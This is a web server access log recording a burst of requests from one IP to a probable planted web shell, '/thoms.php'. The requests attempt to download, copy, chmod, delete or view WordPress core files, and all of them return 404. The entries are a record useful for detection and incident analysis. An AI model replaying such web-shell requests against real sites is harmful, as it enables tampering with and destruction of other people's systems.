45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?dl=class-wp-http-ixr-client.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?dl=feed-rss.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?dl=rest-api.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rest-api.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?chmod=class-wp-customize-manager.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?del=class-wp-http-curl.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?del=post-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?chmod=locale.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=locale.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?chmod=class-wp-roles.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-widget-factory.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?chmod=shortcodes.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-exception.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-exception.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?del=feed-atom-comments.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fregistration.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fregistration.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?chmod=sodium_compat&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?dl=block-bindings.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?del=class-wp-theme-json-resolver.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-json.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-json.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?dl=class-wp-customize-panel.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-customize-section.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?dl=deprecated.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=deprecated.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=embed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?chmod=error_log&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:33 -0400] "GET /thoms.php?dl=class-wp-http-cookie.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?dl=class-wp-post-type.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Flink-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Flink-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=robots-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?del=update.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=update.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?dl=class-simplepie.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?del=class-wp-filter-sentinel.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-filter-sentinel.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?del=feed-rss2.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffunctions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffunctions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblock-bindings.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblock-bindings.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?del=class-wp-block-type-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?del=class-wp-dependency.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?dl=class-wp-icon-collections-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-icon-collections-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?dl=comment.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:34 -0400] "GET /thoms.php?dl=json-schema.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=json-schema.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fkses.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fkses.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?dl=capabilities.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=capabilities.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-date-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?del=comment.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=comment.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fsitemaps.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fsitemaps.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?chmod=html-api&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=html-api&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fai-client.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fai-client.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?chmod=author-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=author-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-walker-page.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?dl=class-wp-block-templates-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-templates-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-http-streams.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?del=class-wp-customize-setting.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?dl=class-wp-image-editor-imagick.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:35 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=http.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=speculative-loading.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=speculative-loading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?del=class-wp-simplepie-file.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?del=canonical.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=canonical.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?del=functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-settings.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-settings.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
